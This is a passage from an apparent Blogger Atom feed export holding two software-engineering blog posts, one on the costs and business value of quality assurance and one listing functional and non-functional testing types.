· Is the switch high enough or low enough? Is it rheostat control or levered?&lt;br /&gt;
&lt;br /&gt;
Details Beyond Construction&lt;br /&gt;
Accurate Quality Control and Quality Assurance processes offer more to businesses and manufactures than product quality. QC and QA procedures test product generation efficiency and cost analysis data, as well.&lt;br /&gt;
· Can efficiency of manufacturing of Widget X increase if the business moves the tooling machinery? How quickly will the move pay for itself?&lt;br /&gt;
· Can less costly materials be used and still maintain quality standards? Is materiel the cost cutting tool or is the vendor?&lt;br /&gt;
· Can Shipping and/or Receiving Departments’ procedural changes assist in Quality Assurance improvements?&lt;br /&gt;
· What faster manufacturing process exists?&lt;br /&gt;
· Will better lighting help?&lt;br /&gt;
· Will additional personnel be worthwhile?&lt;br /&gt;
· Will fewer personnel be worthwhile?&lt;br /&gt;
· Would more automation improve product quality?&lt;br /&gt;
· Are employees encouraged to forward ideas for QA improvement? Are they rewarded or recognized for it?&lt;br /&gt;
&lt;br /&gt;
Costs of Inaccuracy&lt;br /&gt;
Inattentive inspections or overlooked processes can cause product errors and faults, slow downs or stoppage of the manufacturing process, and even cause injury. Quality products are not available; sales decline, and the business finds itself unable to maintain its workforce or its market share.&lt;br /&gt;
&lt;br /&gt;
Product Liability&lt;br /&gt;
When a product fails, breaks, or injures someone, a lawyer is second on the call list, right after an ambulance or vendor. When potential injury is catastrophic, civil damages can total in the millions of dollars. The Occupational Safety and Health Administration (OHSA) could site the using organization, which in turn might sue the vendor. No business can afford repeated and repeatedly large cash outlays, simply because they failed to ensure availability or accuracy in QA processes. Costs are considerably lower to develop, maintain, and improve quality than they could be due to the lack of quality.&lt;br /&gt;
&lt;br /&gt;
Long-Term Impact&lt;br /&gt;
Slipshod Quality Control and Quality Assurance processes that do not detect degrading quality or performance will heavily impact any business’ bottom line. Customers will cancel orders, possibly return products already sold, because no one likes sub-par quality, regardless of the amount paid for it. When products stay on the shelves, no business can survive.&lt;br /&gt;
&lt;br /&gt;
But the opposite can be true, as well. High quality products or services that meet or exceed customers’ needs and expectations can sell for higher prices and more steadily than products of lesser quality can. Ensuring high benchmarks are the Quality Control and Quality Assurances goals and gold standards.&lt;br /&gt;
&lt;br /&gt;
Summary&lt;br /&gt;
A huge market may await a business’ product or service, but unless the business can deliver a product that meets or exceeds customers’ expectations in a safe, timely, and effective manner, others claim that market share, and the business is left behind.&lt;br /&gt;
&lt;br /&gt;
Assuring quality of products and services is paramount, and maintaining accuracy and consistency of those standards is vital to keeping or expanding customer bases.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/2510144029743620583/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/05/accuracy-of-quality-assurance.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/2510144029743620583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/2510144029743620583'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/05/accuracy-of-quality-assurance.html' title='Accuracy of Quality Assurance'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-9202162260995813096</id><published>2011-05-09T03:06:00.000-07:00</published><updated>2011-10-03T04:25:36.770-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Functional and Non-Functional"/><title type='text'>Functional &amp; Non-Functional Testing</title><content type='html'>Functional Testing: Testing the application against business requirements. Functional testing is done using the functional specifications provided by the client or by using the design specifications like use cases provided by the design team.&lt;br /&gt;
&lt;br /&gt;
Functional Testing covers:&lt;br /&gt;
&lt;br /&gt;
* Unit Testing&lt;br /&gt;
* Smoke testing / Sanity testing&lt;br /&gt;
* Integration Testing (Top Down,Bottom up Testing)&lt;br /&gt;
* Interface &amp; Usability Testing&lt;br /&gt;
* System Testing&lt;br /&gt;
* Regression Testing&lt;br /&gt;
* Pre User Acceptance Testing(Alpha &amp; Beta)&lt;br /&gt;
* User Acceptance Testing&lt;br /&gt;
* White Box &amp; Black Box Testing&lt;br /&gt;
* Globalization &amp; LocalizationTesting&lt;br /&gt;
&lt;br /&gt;
Non-Functional Testing: Testing the application against client&#39;s and performance requirement. Non-Functioning testing is done based on the requirements and test scenarios defined by the client.&lt;br /&gt;
&lt;br /&gt;
Non-Functional Testing covers:&lt;br /&gt;
&lt;br /&gt;
* Load and Performance Testing&lt;br /&gt;
* Ergonomics Testing&lt;br /&gt;
* Stress &amp; Volume Testing&lt;br /&gt;
* Compatibility &amp; Migration Testing&lt;br /&gt;
* Data Conversion Testing&lt;br /&gt;
* Security / Penetration Testing&lt;br /&gt;
* Operational Readiness Testing&lt;br /&gt;
* Installation Testing&lt;br /&gt;
* Security Testing (ApplicationSecurity, Network Security, System Security)</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/9202162260995813096/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2011/05/functional-non-functional-testing.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/9202162260995813096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/9202162260995813096'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2011/05/functional-non-functional-testing.html' title='Functional &amp; Non-Functional Testing'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry></feed>